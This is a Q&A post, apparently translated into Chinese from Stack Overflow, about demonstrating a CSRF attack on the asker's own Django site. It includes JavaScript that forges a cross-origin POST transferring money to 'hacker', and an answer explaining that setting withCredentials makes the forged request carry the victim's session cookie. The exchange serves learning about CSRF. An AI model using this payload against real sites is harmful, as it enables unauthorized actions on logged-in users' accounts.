需要登录时模拟 CSRF 攻击 URL

Simulate CSRF Attack on Login Required URL

我想 simulate/demo 进行 CSRF 攻击。使用 Django,我设置了一个站点 (a.com) 和一个 url (/foo/) 不启用反 CSRF 东西。

首先我让这个URL无需登录即可访问。我可以看到 POST 请求(参见下面的代码)已成功完成。 (实际上,我遇到了一个 no Access-Control-Allow-Origin 问题,文档 #main 内容没有更新。但是 post 已完成,状态为 200。即钱已转入我的帐户:)。

所以我进行了一次成功的 CSRF 攻击

然后我将 a.com/foo/ 包裹在 login_required() 中,这意味着您需要先登录站点 a.com 才能在 a.com/foo/ 页面中执行操作。

1) 我在 a.com 的一个 Chrome 选项卡上登录了。

2) 然后我在同一个 Chrome window 中打开另一个选项卡并打开 localhost:8000(见下文)。

当我运行JS函数时,POST开始得到302状态(重定向到a.com的登录页面,而不是之前的200 OK状态)。

为什么?如果是这种情况,CSRF 攻击如何 useful/possible 用于另一个域的需要登录的页面?

执行假请求的 JS 代码(来自 localhost:8000 等,不同的域):

function hack_it() {
    var http = new XMLHttpRequest();
    var url = 'https://a.com/foo/';
    var params = 'name=hacker&amount=200';
    http.open('POST', url, true);

    //Send the proper header information along with the request
    http.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');

    http.onreadystatechange = function() {//Call a function when the state changes.
        if(http.readyState == 4 && http.status == 200) {
            document.getElementById("main").innerHTML = http.responseText;
        }
    }
    http.send(params);
}

是的,需要登录的页面可能会受到 CSRF 攻击。

目前,您的 AJAX 请求没有发送会话 cookie,因此您被重定向到登录页面。

要使演示攻击生效,您需要将 withCredentials 设置为 true

var http = new XMLHttpRequest();
http.withCredentials = true;
...